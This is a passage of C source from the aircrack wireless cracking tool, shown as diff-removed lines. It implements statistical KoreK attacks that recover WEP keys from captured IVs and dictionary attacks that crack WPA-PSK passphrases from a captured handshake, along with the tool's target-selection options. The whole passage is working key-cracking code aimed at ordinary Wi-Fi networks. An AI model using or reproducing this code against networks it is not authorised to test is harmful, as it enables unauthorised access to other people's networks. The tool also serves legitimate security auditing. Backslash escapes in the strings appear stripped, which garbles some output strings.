- ( x1 != 0x42 || x2 != 0x42 ) )
- bad++;
- if( bad > 2 )
- return( FAILURE );
- }
- nb_ascii = 0;
- for( i = 0; i < opt.keylen; i++ )
- if( wep.key[i] == 0 ||
- ( wep.key[i] >= 32 && wep.key[i] < 127 ) )
- nb_ascii++;
- if( opt.is_quiet )
- printf( "KEY FOUND! [ " );
- else
- {
- show_wep_stats( B - 1, 1 );
- if( opt.l33t )
- printf( "33[31;1m" );
- n = ( 80 - 14 - opt.keylen * 3 ) / 2;
- if( 100 * nb_ascii > 75 * opt.keylen )
- n -= ( opt.keylen + 4 ) / 2;
- if( n <= 0 ) n = 0;
- printf( "33[K33[%dCKEY FOUND! [ ", n );
- }
- for( i = 0; i < opt.keylen - 1; i++ )
- printf( "%02X:", wep.key[i] );
- printf( "%02X ] ", wep.key[i] );
- if( 100 * nb_ascii > 75 * opt.keylen )
- {
- printf( "(" );
- for( i = 0; i < opt.keylen; i++ )
- printf( "%c", ( ( wep.key[i] > 31 && wep.key[i] < 127 ) ||
- wep.key[i] > 160 ) ? wep.key[i] : '.' );
- printf( ")" );
- }
- if( opt.l33t )
- printf( "33[32;22m" );
- printf( "n" );
- return( SUCCESS );
- }
- /* routine used to sort the votes */
- int cmp_votes( const void *bs1, const void *bs2 )
- {
- if( ((vote *) bs1)->val < ((vote *) bs2)->val )
- return( 1 );
- if( ((vote *) bs1)->val > ((vote *) bs2)->val )
- return( -1 );
- return( 0 );
- }
- /* sum up the votes and sort them */
- int calc_poll( int B )
- {
- int i, n, cid, *vi;
- int votes[N_ATTACKS][256];
- /* send the current keybyte # to each thread */
- for( cid = 0; cid < opt.nbcpu; cid++ )
- {
- n = sizeof( int );
- if( safe_write( mc_pipe[cid][1], &B, n ) != n )
- {
- perror( "write failed" );
- kill( 0, SIGTERM );
- _exit( FAILURE );
- }
- }
- /* collect the votes, multiply by the korek coeffs */
- for( i = 0; i < 256; i++ )
- {
- wep.poll[B][i].idx = i;
- wep.poll[B][i].val = 0;
- }
- for( cid = 0; cid < opt.nbcpu; cid++ )
- {
- n = sizeof( votes );
- if( safe_read( cm_pipe[cid][0], votes, n ) != n )
- {
- perror( "read failed" );
- kill( 0, SIGTERM );
- _exit( FAILURE );
- }
- for( n = 0, vi = (int *) votes; n < N_ATTACKS; n++ )
- for( i = 0; i < 256; i++, vi++ )
- wep.poll[B][i].val += *vi * K_COEFF[n];
- }
- /* set votes to the max if the keybyte is user-defined */
- if( B < opt.debug[0] )
- wep.poll[B][opt.debug[1 + B]].val = 32767;
- /* if option is set, restrict keyspace to alpha-numeric */
- if( opt.is_alnum )
- {
- for( i = 1; i < 32; i++ )
- wep.poll[B][i].val = -1;
- for( i = 127; i < 256; i++ )
- wep.poll[B][i].val = -1;
- }
- /* if option is set, restrict keyspace to BCD hex digits */
- if( opt.is_bcdonly )
- {
- for( i = 1; i < 256; i++ )
- if( i > 0x99 || ( i & 0x0F ) > 0x09 )
- wep.poll[B][i].val = -1;
- }
- /* sort the votes, highest ones first */
- qsort( wep.poll[B], 256, sizeof( vote ), cmp_votes );
- return( SUCCESS );
- }
- int update_ivbuf( void )
- {
- int n;
- struct AP_info *ap_cur;
- /* 1st pass: compute the total number of available IVs */
- wep.nb_ivs_now = 0;
- wep.nb_aps = 0;
- ap_cur = ap_1st;
- while( ap_cur != NULL )
- {
- if( ap_cur->crypt == 2 && ap_cur->target )
- {
- wep.nb_ivs_now += ap_cur->nb_ivs;
- wep.nb_aps++;
- }
- ap_cur = ap_cur->next;
- }
- /* 2nd pass: create the main IVs buffer if necessary */
- if( wep.nb_ivs == 0 ||
- ( opt.keylen == 5 && wep.nb_ivs_now - wep.nb_ivs > 20000 ) ||
- ( opt.keylen >= 13 && wep.nb_ivs_now - wep.nb_ivs > 40000 ) )
- {
- /* one buffer to rule them all */
- if( wep.ivbuf != NULL )
- {
- free( wep.ivbuf );
- wep.ivbuf = NULL;
- }
- wep.nb_ivs = 0;
- ap_cur = ap_1st;
- while( ap_cur != NULL )
- {
- if( ap_cur->crypt == 2 && ap_cur->target )
- {
- n = ap_cur->nb_ivs;
- if( ( wep.ivbuf = realloc( wep.ivbuf,
- ( wep.nb_ivs + n ) * 5 ) ) == NULL )
- {
- perror( "realloc failed" );
- kill( 0, SIGTERM );
- _exit( FAILURE );
- }
- memcpy( wep.ivbuf + wep.nb_ivs * 5, ap_cur->ivbuf, 5 * n );
- wep.nb_ivs += n;
- }
- ap_cur = ap_cur->next;
- }
- return( RESTART );
- }
- return( SUCCESS );
- }
- /* standard attack mode: */
- /* this routine gathers and sorts the votes, then recurses until it *
- * reaches B == keylen. It also stops when the current keybyte vote *
- * is lower than the highest vote divided by the fudge factor. */
- int do_wep_crack1( int B )
- {
- int i, j;
- get_ivs:
- switch( update_ivbuf() )
- {
- case FAILURE: return( FAILURE );
- case RESTART: return( RESTART );
- default: break;
- }
- if( ( wep.nb_ivs_now < 256 && opt.debug[0] == 0 ) ||
- ( wep.nb_ivs_now < 32 && opt.debug[0] != 0 ) )
- {
- if( ! opt.no_stdin )
- {
- printf(
- "Not enough IVs available. You need about 250.000 IVs to crackn"
- "40-bit WEP, and more than 800.000 IVs to crack a 104-bit key.n" );
- kill( 0, SIGTERM );
- _exit( FAILURE );
- }
- else
- {
- printf( "Read %ld packets, got %ld IVs...r",
- nb_pkt, wep.nb_ivs_now );
- fflush( stdout );
- sleep( 1 );
- goto get_ivs;
- }
- }
- /* if last keybyte reached, check if the key is valid */
- if( B == opt.keylen )
- {
- if( ! opt.is_quiet )
- show_wep_stats( B - 1, 0 );
- return( check_wep_key( B ) );
- }
- /* now compute the poll resultst for keybyte B */
- if( calc_poll( B ) != SUCCESS )
- return( FAILURE );
- /* fudge threshold = higest vote divided by fudge factor */
- for( wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++ )
- if( (float) wep.poll[B][wep.fudge[B]].val <
- (float) wep.poll[B][0].val / opt.ffact )
- break;
- /* try the most likely n votes, where n is the fudge threshold */
- for( wep.depth[B] = 0; wep.depth[B] < wep.fudge[B]; wep.depth[B]++ )
- {
- switch( update_ivbuf() )
- {
- case FAILURE: return( FAILURE );
- case RESTART: return( RESTART );
- default: break;
- }
- wep.key[B] = wep.poll[B][wep.depth[B]].idx;
- if( ! opt.is_quiet )
- show_wep_stats( B, 0 );
- if( B == 4 && opt.keylen == 13 )
- {
- /* even when cracking 104-bit WEP, *
- * check if the 40-bit key matches */
- opt.keylen = 5;
- if( check_wep_key( B ) == SUCCESS )
- return( SUCCESS );
- opt.keylen = 13;
- }
- if( B + 3 == opt.keylen && opt.do_brute )
- {
- /* as noted by Simon Marechal, it's more efficient
- * to just bruteforce the last two keybytes. */
- for( i = 0; i < 256; i++ )
- {
- wep.key[B + 1] = i;
- for( j = 0; j < 256; j++ )
- {
- wep.key[B + 2] = j;
- if( check_wep_key( B + 1 ) == SUCCESS )
- return( SUCCESS );
- }
- }
- }
- else
- {
- switch( do_wep_crack1( B + 1 ) )
- {
- case SUCCESS: return( SUCCESS );
- case RESTART: return( RESTART );
- default: break;
- }
- }
- }
- return( FAILURE );
- }
- /* experimental single bruteforce attack */
- int do_wep_crack2( int B )
- {
- int i, j;
- switch( update_ivbuf() )
- {
- case FAILURE: return( FAILURE );
- case RESTART: return( RESTART );
- default: break;
- }
- if( wep.nb_ivs_now / opt.keylen < 60000 )
- {
- printf(
- "Not enough IVs available. This option is only meant to be usedn"
- "if the standard attack method fails with more than %d IVs.n",
- opt.keylen * 60000 );
- kill( 0, SIGTERM );
- _exit( FAILURE );
- }
- for( i = 0; i <= B; i++ )
- {
- if( calc_poll( i ) != SUCCESS )
- return( FAILURE );
- wep.key[i] = wep.poll[i][0].idx;
- wep.fudge[i] = 1;
- wep.depth[i] = 0;
- if( ! opt.is_quiet )
- show_wep_stats( i, 0 );
- }
- for( wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++ )
- if( (float) wep.poll[B][wep.fudge[B]].val <
- (float) wep.poll[B][0].val / opt.ffact )
- break;
- for( wep.depth[B] = 0; wep.depth[B] < wep.fudge[B]; wep.depth[B]++ )
- {
- switch( update_ivbuf() )
- {
- case FAILURE: return( FAILURE );
- case RESTART: return( RESTART );
- default: break;
- }
- wep.key[B] = wep.poll[B][wep.depth[B]].idx;
- if( ! opt.is_quiet )
- show_wep_stats( B, 0 );
- for( i = B + 1; i < opt.keylen - 2; i++ )
- {
- if( calc_poll( i ) != SUCCESS )
- return( FAILURE );
- wep.key[i] = wep.poll[i][0].idx;
- wep.fudge[i] = 1;
- wep.depth[i] = 0;
- if( ! opt.is_quiet )
- show_wep_stats( i, 0 );
- }
- for( i = 0; i < 256; i++ )
- {
- wep.key[opt.keylen - 2] = i;
- for( j = 0; j < 256; j++ )
- {
- wep.key[opt.keylen - 1] = j;
- if( check_wep_key( opt.keylen - 2 ) == SUCCESS )
- return( SUCCESS );
- }
- }
- }
- return( FAILURE );
- }
- /* derive the PMK from the passphrase and the essid */
- void calc_pmk( char *key, char *essid, uchar pmk[40] )
- {
- int i, j, slen;
- uchar buffer[65];
- sha1_context ctx_ipad;
- sha1_context ctx_opad;
- sha1_context sha1_ctx;
- slen = strlen( essid ) + 4;
- /* setup the inner and outer contexts */
- memset( buffer, 0, sizeof( buffer ) );
- strncpy( (char *) buffer, key, sizeof( buffer ) - 1 );
- for( i = 0; i < 64; i++ )
- buffer[i] ^= 0x36;
- sha1_starts( &ctx_ipad );
- sha1_update( &ctx_ipad, buffer, 64 );
- for( i = 0; i < 64; i++ )
- buffer[i] ^= 0x6A;
- sha1_starts( &ctx_opad );
- sha1_update( &ctx_opad, buffer, 64 );
- /* iterate HMAC-SHA1 over itself 8192 times */
- essid[slen - 1] = '1';
- hmac_sha1( (uchar *) key, strlen( key ),
- (uchar *) essid, slen, pmk );
- memcpy( buffer, pmk, 20 );
- for( i = 1; i < 4096; i++ )
- {
- memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) );
- sha1_update( &sha1_ctx, buffer, 20 );
- sha1_finish( &sha1_ctx, buffer );
- memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) );
- sha1_update( &sha1_ctx, buffer, 20 );
- sha1_finish( &sha1_ctx, buffer );
- for( j = 0; j < 20; j++ )
- pmk[j] ^= buffer[j];
- }
- essid[slen - 1] = '2';
- hmac_sha1( (uchar *) key, strlen( key ),
- (uchar *) essid, slen, pmk + 20 );
- memcpy( buffer, pmk + 20, 20 );
- for( i = 1; i < 4096; i++ )
- {
- memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) );
- sha1_update( &sha1_ctx, buffer, 20 );
- sha1_finish( &sha1_ctx, buffer );
- memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) );
- sha1_update( &sha1_ctx, buffer, 20 );
- sha1_finish( &sha1_ctx, buffer );
- for( j = 0; j < 20; j++ )
- pmk[j + 20] ^= buffer[j];
- }
- }
- /* each thread computes two pairwise master keys at a time */
- int crack_wpa_thread( void *arg )
- {
- char essid[36];
- char key1[128], key2[128];
- uchar pmk1[128], pmk2[128];
- #ifdef __i386__
- uchar k_ipad[128], ctx_ipad[40];
- uchar k_opad[128], ctx_opad[40];
- uchar buffer[128], sha1_ctx[40];
- uchar wrkbuf[640];
- uint i, *u, *v, *w;
- #endif
- int slen, cid = (long) arg;
- /* receive the essid */
- memset( essid, 0, sizeof( essid ) );
- if( safe_read( mc_pipe[cid][0], (void *) essid, 32 ) != 32 )
- {
- perror( "read failed" );
- kill( 0, SIGTERM );
- _exit( FAILURE );
- }
- slen = strlen( essid ) + 4;
- while( 1 )
- {
- /* receive two passphrases */
- memset( key1, 0, sizeof( key1 ) );
- memset( key2, 0, sizeof( key2 ) );
- if( safe_read( mc_pipe[cid][0], (void *) key1, 128 ) != 128 ||
- safe_read( mc_pipe[cid][0], (void *) key2, 128 ) != 128 )
- {
- perror( "read passphrase failed" );
- kill( 0, SIGTERM );
- _exit( FAILURE );
- }
- key1[127] = ' ';
- key2[127] = ' ';
- #ifdef __i386__
- /* MMX available, so compute two PMKs in a single row */
- memset( k_ipad, 0, sizeof( k_ipad ) );
- memset( k_opad, 0, sizeof( k_opad ) );
- memcpy( k_ipad, key1, strlen( key1 ) );
- memcpy( k_opad, key1, strlen( key1 ) );
- memcpy( k_ipad + 64, key2, strlen( key2 ) );
- memcpy( k_opad + 64, key2, strlen( key2 ) );
- u = (uint *) ( k_ipad );
- v = (uint *) ( k_ipad + 64 );
- w = (uint *) buffer;
- for( i = 0; i < 16; i++ )
- {
- /* interleave the data */
- *w++ = *u++ ^ 0x36363636;
- *w++ = *v++ ^ 0x36363636;
- }
- shammx_init( ctx_ipad );
- shammx_data( ctx_ipad, buffer, wrkbuf );
- u = (uint *) ( k_opad );
- v = (uint *) ( k_opad + 64 );
- w = (uint *) buffer;
- for( i = 0; i < 16; i++ )
- {
- *w++ = *u++ ^ 0x5C5C5C5C;
- *w++ = *v++ ^ 0x5C5C5C5C;
- }
- shammx_init( ctx_opad );
- shammx_data( ctx_opad, buffer, wrkbuf );
- memset( buffer, 0, sizeof( buffer ) );
- /* use the buffer, luke */
- buffer[ 40] = buffer[ 44] = 0x80;
- buffer[122] = buffer[126] = 0x02;
- buffer[123] = buffer[127] = 0xA0;
- essid[slen - 1] = '1';
- hmac_sha1( (uchar *) key1, strlen( key1 ),
- (uchar *) essid, slen, pmk1 );
- hmac_sha1( (uchar *) key2, strlen( key2 ),
- (uchar *) essid, slen, pmk2 );
- u = (uint *) pmk1;
- v = (uint *) pmk2;
- w = (uint *) buffer;
- *w++ = *u++; *w++ = *v++;
- *w++ = *u++; *w++ = *v++;
- *w++ = *u++; *w++ = *v++;
- *w++ = *u++; *w++ = *v++;
- *w++ = *u++; *w++ = *v++;
- for( i = 1; i < 4096; i++ )
- {
- memcpy( sha1_ctx, ctx_ipad, 40 );
- shammx_data( sha1_ctx, buffer, wrkbuf );
- shammx_ends( sha1_ctx, buffer );
- memcpy( sha1_ctx, ctx_opad, 40 );
- shammx_data( sha1_ctx, buffer, wrkbuf );
- shammx_ends( sha1_ctx, buffer );
- u = (uint *) pmk1;
- v = (uint *) pmk2;
- w = (uint *) buffer;
- /* de-interleave the digests */
- *u++ ^= *w++; *v++ ^= *w++;
- *u++ ^= *w++; *v++ ^= *w++;
- *u++ ^= *w++; *v++ ^= *w++;
- *u++ ^= *w++; *v++ ^= *w++;
- *u++ ^= *w++; *v++ ^= *w++;
- }
- essid[slen - 1] = '2';
- hmac_sha1( (uchar *) key1, strlen( key1 ),
- (uchar *) essid, slen, pmk1 + 20 );
- hmac_sha1( (uchar *) key2, strlen( key2 ),
- (uchar *) essid, slen, pmk2 + 20 );
- u = (uint *) ( pmk1 + 20 );
- v = (uint *) ( pmk2 + 20 );
- w = (uint *) buffer;
- *w++ = *u++; *w++ = *v++;
- *w++ = *u++; *w++ = *v++;
- *w++ = *u++; *w++ = *v++;
- *w++ = *u++; *w++ = *v++;
- *w++ = *u++; *w++ = *v++;
- for( i = 1; i < 4096; i++ )
- {
- memcpy( sha1_ctx, ctx_ipad, 40 );
- shammx_data( sha1_ctx, buffer, wrkbuf );
- shammx_ends( sha1_ctx, buffer );
- memcpy( sha1_ctx, ctx_opad, 40 );
- shammx_data( sha1_ctx, buffer, wrkbuf );
- shammx_ends( sha1_ctx, buffer );
- u = (uint *) ( pmk1 + 20 );
- v = (uint *) ( pmk2 + 20 );
- w = (uint *) buffer;
- *u++ ^= *w++; *v++ ^= *w++;
- *u++ ^= *w++; *v++ ^= *w++;
- *u++ ^= *w++; *v++ ^= *w++;
- }
- #else
- /* not x86, use the generic SHA-1 C code */
- calc_pmk( key1, essid, pmk1 );
- calc_pmk( key2, essid, pmk2 );
- #endif
- /* send the passphrase & master keys */
- if( safe_write( cm_pipe[cid][1], (void *) key1, 128 ) != 128 ||
- safe_write( cm_pipe[cid][1], (void *) key2, 128 ) != 128 ||
- safe_write( cm_pipe[cid][1], (void *) pmk1, 32 ) != 32 ||
- safe_write( cm_pipe[cid][1], (void *) pmk2, 32 ) != 32 )
- {
- perror( "write pmk failed" );
- kill( 0, SIGTERM );
- _exit( FAILURE );
- }
- }
- }
- /* display the current wpa key info, matrix-like */
- void show_wpa_stats( char *key, uchar pmk[32], uchar ptk[64],
- uchar mic[16], int force )
- {
- float delta;
- int i, et_h, et_m, et_s;
- char tmpbuf[27];
- #ifdef __i386__
- __asm__( "emms" ); /* clean up the fp regs */
- #endif
- if( chrono( &t_stats, 0 ) < 0.08 && force == 0 )
- return;
- chrono( &t_stats, 1 );
- delta = chrono( &t_begin, 0 );
- et_h = delta / 3600;
- et_m = ( delta - et_h * 3600 ) / 60;
- et_s = delta - et_h * 3600 - et_m * 60;
- if( ( delta = chrono( &t_kprev, 0 ) ) >= 6 )
- {
- t_kprev.tv_sec += 3;
- nb_kprev /= 2;
- }
- if( opt.l33t ) printf( "33[33;1m" );
- printf( "33[5;20H[%02d:%02d:%02d] %lld keys tested "
- "(%2.2f k/s)", et_h, et_m, et_s,
- nb_tried, (float) nb_kprev / delta );
- memset( tmpbuf, ' ', sizeof( tmpbuf ) );
- memcpy( tmpbuf, key, strlen( key ) > 27 ? 27 :
- strlen( key ) );
- tmpbuf[27] = ' ';
- if( opt.l33t ) printf( "33[37;1m" );
- printf( "33[8;24HCurrent passphrase: %sn", tmpbuf );
- if( opt.l33t ) printf( "33[32;22m" );
- printf( "33[11;7HMaster Key : " );
- if( opt.l33t ) printf( "33[32;1m" );
- for( i = 0; i < 32; i++ )
- {
- if( i == 16 ) printf( "n33[23C" );
- printf( "%02X ", pmk[i] );
- }
- if( opt.l33t ) printf( "33[32;22m" );
- printf( "33[14;7HTranscient Key : " );
- if( opt.l33t ) printf( "33[32;1m" );
- for( i = 0; i < 64; i++ )
- {
- if( i > 0 && i % 16 == 0 ) printf( "n33[23C" );
- printf( "%02X ", ptk[i] );
- }
- if( opt.l33t ) printf( "33[32;22m" );
- printf( "33[19;7HEAPOL HMAC : " );
- if( opt.l33t ) printf( "33[32;1m" );
- for( i = 0; i < 16; i++ )
- printf( "%02X ", mic[i] );
- printf( "n" );
- }
- int do_wpa_crack( struct AP_info *ap )
- {
- int i, cid;
- char key1[128], key2[128];
- uchar pke[100];
- uchar pmk1[40], ptk1[80];
- uchar pmk2[40], ptk2[80];
- uchar mic1[20], mic2[20];
- /* send the ESSID to each thread */
- for( cid = 0; cid < opt.nbcpu; cid++ )
- {
- if( safe_write( mc_pipe[cid][1], (void *) ap->essid, 32 ) != 32 )
- {
- perror( "write essid failed" );
- kill( 0, SIGTERM );
- _exit( FAILURE );
- }
- }
- /* pre-compute the key expansion buffer */
- memcpy( pke, "Pairwise key expansion", 23 );
- if( memcmp( ap->wpa.stmac, ap->bssid, 6 ) < 0 )
- {
- memcpy( pke + 23, ap->wpa.stmac, 6 );
- memcpy( pke + 29, ap->bssid, 6 );
- }
- else
- {
- memcpy( pke + 23, ap->bssid, 6 );
- memcpy( pke + 29, ap->wpa.stmac, 6 );
- }
- if( memcmp( ap->wpa.snonce, ap->wpa.anonce, 32 ) < 0 )
- {
- memcpy( pke + 35, ap->wpa.snonce, 32 );
- memcpy( pke + 67, ap->wpa.anonce, 32 );
- }
- else
- {
- memcpy( pke + 35, ap->wpa.anonce, 32 );
- memcpy( pke + 67, ap->wpa.snonce, 32 );
- }
- memset( key1, 0, sizeof( key1 ) );
- memset( key2, 0, sizeof( key1 ) );
- if( ! opt.is_quiet )
- {
- if( opt.l33t )
- printf( "33[37;40m" );
- printf( "33[2J" );
- if( opt.l33t )
- printf( "33[34;1m" );
- printf( "33[2;34Haircrack %d.%d",
- _MAJ, _MIN );
- }
- while( 1 )
- {
- for( cid = 0; cid < opt.nbcpu; cid++ )
- {
- /* read a couple of keys (skip those < 8 chars) */
- do
- {
- if( fgets( key1, sizeof( key1 ), opt.dict ) == NULL )
- {
- if( opt.l33t )
- printf( "33[32;22m" );
- printf( "nEOFn" );
- return( FAILURE );
- }
- i = strlen( key1 );
- if( key1[i - 1] == 'n' ) key1[--i] = ' ';
- if( key1[i - 1] == 'r' ) key1[--i] = ' ';
- }
- while( i < 8 );
- do
- {
- if( fgets( key2, sizeof( key2 ), opt.dict ) == NULL )
- break;
- i = strlen( key2 );
- if( key2[i - 1] == 'n' ) key2[--i] = ' ';
- if( key2[i - 1] == 'r' ) key2[--i] = ' ';
- }
- while( i < 8 );
- /* send the keys */
- if( safe_write( mc_pipe[cid][1], (void *) key1, 128 ) != 128 ||
- safe_write( mc_pipe[cid][1], (void *) key2, 128 ) != 128 )
- {
- perror( "write passphrase failed" );
- return( FAILURE );
- }
- }
- for( cid = 0; cid < opt.nbcpu; cid++ )
- {
- /* collect and test the master keys */
- if( safe_read( cm_pipe[cid][0], (void *) key1, 128 ) != 128 ||
- safe_read( cm_pipe[cid][0], (void *) key2, 128 ) != 128 ||
- safe_read( cm_pipe[cid][0], (void *) pmk1, 32 ) != 32 ||
- safe_read( cm_pipe[cid][0], (void *) pmk2, 32 ) != 32 )
- {
- perror( "read pmk failed" );
- return( FAILURE );
- }
- /* compute the pairwise transient key and the frame MIC */
- for( i = 0; i < 4; i++ )
- {
- pke[99] = i;
- hmac_sha1( pmk1, 32, pke, 100, ptk1 + i * 20 );
- hmac_sha1( pmk2, 32, pke, 100, ptk2 + i * 20 );
- }
- if( ap->wpa.keyver == 1 )
- {
- hmac_md5( ptk1, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic1 );
- hmac_md5( ptk2, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic2 );
- }
- else
- {
- hmac_sha1( ptk1, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic1 );
- hmac_sha1( ptk2, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic2 );
- }
- if( memcmp( mic1, ap->wpa.keymic, 16 ) == 0 )
- {
- memcpy( key2, key1, 128 );
- memcpy( pmk2, pmk1, 32 );
- memcpy( ptk2, ptk1, 64 );
- memcpy( mic2, mic1, 16 );
- }
- if( memcmp( mic2, ap->wpa.keymic, 16 ) == 0 )
- {
- if( opt.is_quiet )
- {
- printf( "KEY FOUND! [ %s ]n", key2 );
- return( SUCCESS );
- }
- show_wpa_stats( key2, pmk2, ptk2, mic2, 1 );
- if( opt.l33t )
- printf( "33[31;1m" );
- printf( "33[8;%dH33[2KKEY FOUND! [ %s ]33[11Bn",
- ( 80 - 15 - (int) strlen( key2 ) ) / 2, key2 );
- if( opt.l33t )
- printf( "33[32;22m" );
- return( SUCCESS );
- }
- nb_tried += 2;
- nb_kprev += 2;
- if( ! opt.is_quiet )
- show_wpa_stats( key1, pmk1, ptk1, mic1, 0 );
- }
- }
- return( FAILURE );
- }
- int intr_read = 0;
- void sighandler( int signum )
- {
- signal( signum, sighandler );
- if( signum == SIGQUIT )
- _exit( SUCCESS );
- if( signum == SIGTERM )
- _exit( FAILURE );
- if( signum == SIGINT )
- intr_read++;
- if( signum == SIGWINCH )
- printf( "33[2Jn" );
- }
- char usage[] =
- "n"
- " Common options:n"
- "n"
- " -a <amode> : force attack mode (1/WEP, 2/WPA-PSK)n"
- " -e <essid> : target selection: network identifiern"
- " -b <bssid> : target selection: access point's MACn"
- " -p <nbcpu> : SMP support: # of processes to startn"
- " -q : enable quiet mode (no status output)n"
- " -w <words> : path to a dictionary filen"
- "n"
- " Static WEP cracking options:n"
- "n"
- " -c : search alpha-numeric characters onlyn"
- " -t : search binary coded decimal chr onlyn"
- " -d <start> : debug - specify beginning of the keyn"
- " -m <maddr> : MAC address to filter usable packetsn"
- " -n <nbits> : WEP key length: 64 / 128 / 152 / 256n"
- " -i <index> : WEP key index (1 to 4), default: anyn"
- " -f <fudge> : bruteforce fudge factor, default: 2n"
- " -k <korek> : disable one attack method (1 to 17)n"
- " -x : do bruteforce the last two keybytesn"
- " -y : experimental single bruteforce moden"
- "n"
- " aircrack %d.%d - (C) 2004,2005 Christophe Devinen"
- "n"
- " usage: aircrack [options] <.cap / .ivs file(s)>n"
- "n";
- int main( int argc, char *argv[] )
- {
- int i, n, ret;
- char *s, buf[128];
- struct AP_info *ap_cur;
- ret = FAILURE;
- /* check the arguments */
- if( argc < 2 )
- {
- usage:
- printf( usage, _MAJ, _MIN );
- return( ret );
- }
- memset( &opt, 0, sizeof( opt ) );
- opt.nbcpu = 1;
- while( 1 )
- {
- int option = getopt( argc, argv, "a:e:b:p:qctd:m:n:i:f:k:xyw:0" );
- if( option < 0 ) break;
- switch( option )
- {
- case 'a' :
- sscanf( optarg, "%d", &opt.amode );
- if( opt.amode != 1 && opt.amode != 2 )
- {
- printf( "Invalid attack mode.n" );
- return( FAILURE );
- }
- break;
- case 'e' :
- memset( opt.essid, 0, sizeof( opt.essid ) );
- strncpy( opt.essid, optarg, sizeof( opt.essid ) - 1 );
- opt.essid_set = 1;
- break;
- case 'b' :
- i = 0;
- s = optarg;
- while( sscanf( s, "%x", &n ) == 1 )
- {
- if( n < 0 || n > 255 )
- {
- printf( "Invalid BSSID (not a MAC).n" );
- return( FAILURE );
- }
- opt.bssid[i] = n;
- if( ++i > 6 ) break;
- if( ! ( s = strchr( s, ':' ) ) )
- break;
- s++;
- }
- if( i != 6 )
- {
- printf( "Invalid BSSID (not a MAC).n" );
- return( FAILURE );
- }
- opt.bssid_set = 1;
- break;
- case 'p' :
- if( sscanf( optarg, "%d", &opt.nbcpu ) != 1 ||
- opt.nbcpu < 1 || opt.nbcpu > 256 )
- {
- printf( "Invalid number of processes.n" );
- return( FAILURE );
- }
- break;
- case 'q' :
- opt.is_quiet = 1;
- break;
- case 'c' :
- opt.is_alnum = 1;
- break;
- case 't' :
- opt.is_bcdonly = 1;
- break;
- case 'd' :
- i = 1;
- s = optarg;
- buf[0] = s[0];
- buf[1] = s[1];
- buf[2] = ' ';
- while( sscanf( buf, "%x", &n ) == 1 )
- {
- if( n < 0 || n > 255 )
- {
- printf( "Invalid debug key.n" );
- return( FAILURE );
- }
- opt.debug[i++] = n;
- if( i >= 62 ) break;
- s += 2;
- if( s[0] == ':' || s[0] == '-' )
- s++;
- if( s[0] == ' ' || s[1] == ' ' )
- break;
-
- buf[0] = s[0];
- buf[1] = s[1];
- }
- if( i == 0 )
- {
- printf( "Invalid debug key.n" );
- return( FAILURE );
- }
- opt.debug[0] = i - 1;
- break;
- case 'm' :
- i = 0;
- s = optarg;
- while( sscanf( s, "%x", &n ) == 1 )
- {
- if( n < 0 || n > 255 )
- {
- printf( "Invalid MAC address filter.n" );
- return( FAILURE );
- }
- opt.maddr[i] = n;
- if( ++i > 6 ) break;
- if( ! ( s = strchr( s, ':' ) ) )
- break;
- s++;
- }
- if( i != 6 )
- {
- printf( "Invalid MAC address filter.n" );
- return( FAILURE );
- }
- break;
- case 'n' :
- if( sscanf( optarg, "%d", &opt.keylen ) != 1 ||
- ( opt.keylen != 64 && opt.keylen != 128 &&
- opt.keylen != 152 && opt.keylen != 256 &&
- opt.keylen != 512 ) )
- {
- printf( "Invalid WEP key length.n" );
- return( FAILURE );
- }
- opt.keylen = ( opt.keylen / 8 ) - 3;
- break;
- case 'i' :
- if( sscanf( optarg, "%d", &opt.index ) != 1 ||
- opt.index < 1 || opt.index > 4 )
- {
- printf( "Invalid WEP key index.n" );
- return( FAILURE );
- }
- break;
- case 'f' :
- if( sscanf( optarg, "%f", &opt.ffact ) != 1 ||
- opt.ffact < 1 || opt.ffact > 32 )
- {
- printf( "Invalid fudge factor.n" );
- return( FAILURE );
- }
- break;
- case 'k' :
- if( sscanf( optarg, "%d", &opt.korek ) != 1 ||
- opt.korek < 0 || opt.korek > N_ATTACKS )
- {
- printf( "Invalid KoreK attack strategy.n" );
- return( FAILURE );
- }
- K_COEFF[opt.korek] = 0;
- break;
- case 'x' :
- opt.do_brute = 1;
- break;
- case 'y' :
- opt.do_testy = 1;
- break;
- case 'w' :
- if( strcmp( optarg, "-" ) == 0 )
- {
- if( ( opt.dict = fdopen( 0, "r" ) ) == NULL )
- {
- perror( "fopen(dictionary) failed" );
- return( FAILURE );
- }
- opt.no_stdin = 1;
- }
- else
- {
- if( ( opt.dict = fopen( optarg, "r" ) ) == NULL )
- {
- perror( "fopen(dictionary) failed" );
- return( FAILURE );
- }
- }
- break;
- case '0' :
- opt.l33t = 1;
- break;
- default : goto usage;
- }
- }
- if( ! ( argc - optind ) )
- goto usage;
- /* start one thread per input file */
- signal( SIGINT, sighandler );
- signal( SIGQUIT, sighandler );
- signal( SIGTERM, sighandler );
- signal( SIGALRM, SIG_IGN );
- pthread_mutex_init( &mx_apl, NULL );
- pthread_mutex_init( &mx_eof, NULL );
- pthread_cond_init( &cv_eof, NULL );
- ap_1st = NULL;
- n = argc - optind;
- do
- {
- pthread_t tid;
- if( strcmp( argv[optind], "-" ) == 0 )
- opt.no_stdin = 1;
- if( pthread_create( &tid, NULL, (void *) read_thread,
- (void *) argv[optind] ) != 0 )
- {
- perror( "pthread_create failed" );
- goto exit_main;
- }
- usleep( 131071 );
- }
- while( ++optind < argc );
- /* wait until each thread reaches EOF */
- pthread_mutex_lock( &mx_eof );
- if( ! opt.is_quiet )
- {
- printf( "Reading packets, please wait...r" );
- fflush( stdout );
- }
- while( nb_eof < n && ! intr_read )
- pthread_cond_wait( &cv_eof, &mx_eof );
- pthread_mutex_unlock( &mx_eof );
- if( ! opt.is_quiet && ! opt.no_stdin )
- printf( "33[KRead %ld packets.nn", nb_pkt );
- signal( SIGINT, SIG_DFL );
- if( ap_1st == NULL )
- {
- printf( "No networks found, exiting.n" );
- goto exit_main;
- }
- if( ! opt.essid_set && ! opt.bssid_set )
- {
- /* ask the user which network is to be cracked */
- if( opt.is_quiet || opt.no_stdin )
- {
